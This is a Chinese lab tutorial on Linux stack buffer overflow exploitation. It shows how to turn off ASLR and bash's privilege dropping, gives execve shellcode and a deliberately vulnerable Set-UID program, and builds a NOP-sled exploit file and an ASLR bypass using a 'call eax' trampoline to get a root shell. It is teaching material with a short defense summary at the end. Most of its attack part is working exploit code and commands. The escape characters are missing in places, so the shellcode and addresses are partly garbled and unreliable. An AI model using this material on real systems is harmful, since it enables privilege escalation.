Linux操作系统的缓冲区溢出漏洞实验
关闭保护措施(ASLR)情况下的缓冲区溢出
缓冲区溢出简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
原理详解
利用缓冲区溢出进行攻击的原理就是通过修改内存区域,把一段恶意代码存储到一个buffer中,并且使这个buffer被溢出,以便当前进程被非法利用(恶意代码执行)。
随便往缓冲区中填东西造成它溢出一般只会得到“分段错误”(Segmentation fault),我想这个错误应该很多编程的人都遇到过。但是如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变程序的正常流程。
上图是程序在内存中的映射。
程序中函数调用堆栈就是溢出漏洞的主要途径。一个函数执行完毕,要返回时堆栈指针ESP会指向保存原来EIP的地方,而指令指针EIP指向RET指令,所以正常情况下,RET执行后,就可以把原来的EIP恢复,从而回到中断前的流程。但是,保存的EIP如果被覆盖成一个JMP指令的地址,这样,执行POP EIP后,EIP会被改成JMP指令的地址,即开始执行ShellCode中的指令。
实验环境
实验楼环境(Ubuntu linux 64位)。为了方便观察汇编语句,需要安装一些用于编译32位C程序的东西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
实验步骤
1.初始化设置
Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space = 0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。具体操作如下:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
2.ShellCode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
shellcode当然不是上面的c程序,因为攻击代码必须是机器级指令,所以选择其汇编版本作为本次实验的shellcode。
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
3.漏洞程序
把以下代码保存为“stac.c”文件,保存到/tmp目录下。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
上面的代码很简单,读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令如下:
sudo
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c // -fno-stack-protector参数的含义是关闭栈保护机制;-z execstack 参数的意思是用于允许执行栈
chmod u+s stack
exit
4.攻击程序
我们的目的是攻击上面的漏洞程序,并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件,保存到/tmp目录。
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“x??x??x??x??”处需要添上shellcode保存在内存中的地址。因为发生溢出后这个位置刚好覆盖返回地址。
而strcpy(buffer+100,shellcode)
的意思是shellcode保存在buffer+100的位置。现在我们得去找到buffer在内存中的地址:
gdb stack
disass main
由此计算shellcode的地址:
0xffffcfc0+100(十进制) = 0xffffcfc0+0x64=0xffffd024
修改exploit.c后编译:
实验结果
先运行攻击程序exploit,再运行漏洞程序stack:
通过"call eax"绕过ASLR
实验原理
上面缓冲区溢出漏洞实验shellcode的地址采用的静态地址,但是现在的Ubuntu和其他一些Linux系统中,使用地址空间随机化(ASLR)来随机堆(heap)和栈(stack)的初始地址,采用静态地址攻击显得有很大的不足。一种经典的绕过ASLR的方法就是通过程序自身存在的"jmp 寄存器"指令,动态跳转到shellcode,即使程序每次加载的地址不一样,但程序指令间的相对运行不会变。本实验是通过程序本身存在的“call eax”(类似jmp eax)指令跳转到shellcode。
实验环境:
实验楼环境(Ubuntu linux 64位)
实验步骤
1.配置环境
本次实验是在32位环境中完成的,而实验楼ubuntu是64位,所以先下载安装32位的库。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
通过linux32
命令进入32位linux环境。
打开ASLR:
2.shellcode
在前一次实验已经描述过什么是shellcode和它的作用。下面直接贴出shellcode的C版本代码:
#include <stdio.h>
int main(int argc, char **argv) {
char *name[2];
name[0] = "/bin/bash";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
shellcode怎么来的: shellcode是将上面C程序对应的汇编代码通过objdump获取其二进制代码得到的。
汇编版本:
xor %edx,%edx;
push %edx;
push $0x68732f2f;
push $0x6e69622f;
mov %esp,%ebx;
push %edx;
push %ebx;
mov %esp,%ecx;
xor %eax,%eax;
movb $0x0b,%al;int $0x80;
二进制代码:
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80"
3.漏洞程序
/*
badpro.c
*/
#include <stdio.h>
#include <string.h>
void badfunc(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
badfunc(argv[1]);
return 0;
}
上面程序完成的功能是:将main函数的第一个参数(字符串)复制到buffer中。
用下面的命令进行编译链接生成可执行的badpro:
gcc -Wall -g -o badpro badpro.c -z execstack -m32 -fno-stack-protector
给该程序加上root权限,这样攻击成功后就会获得其root权限:
sudo chown root:root badpro
sudo chmod a+s badpro
4.漏洞利用
通过objdump -d badpro | grep *%eax
命令查找程序中是否存在call eax
或者jmp eax
这样的指令。其中“*%eax”是在寄存器前面加星号,代表这是一个绝对调用或者跳转,也就是该命令是对一个绝对地址进行操作,也正是由于这样指令的存在,才使得这种攻击成为可能。
选择0x08048386这个地址,作为跳板,得到最终的exploit的内容:ShellCode(N) + A(524-N) + xdfx83x04x08,这里事先生成的shellcode为25字节,因此填充了499个A。
执行如下命令:
./badpro $(perl -e 'printf "x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80" . "A"x499 ."x86x83x04x08"')
/*
perl -e 是perl在命令行中执行的命令;printf是将后面紧跟的字符串写入标准输出流;“A”x499是产生499个A。
*/
从上图可以看出,我们已经获得了root权限。成功!
总结
通过分析漏洞,也思考了一些漏洞攻击的防范问题。整个防范措施大概有源码级保护方法、运行期保护方法、阻止攻击代码执行、加强系统保护等几种。对于源码保护,可以提高警惕,在编写程序时对于涉及缓冲区的部分进行严格的边界检查,防止溢出。也可以利用漏洞扫描工具对源码中可能存在缓冲区溢出漏洞的代码部分分析,寻找bug并解决。运行期保护主要研究如何在程序运行的过程中发现或阻止缓冲区溢出攻击。比如数组边界检查,检查数组实际长度是否超过了分配的长度,如果超过,立即进行相应的处理。阻止攻击代码执行,可以设定堆栈数据段不可执行,这样就可以避免被攻击。加强系统保护主要是保护系统信息、关闭不需要的服务、最小权限原则、使用系统的堆栈补丁、检查系统漏洞并及时为软件打上安全补丁等。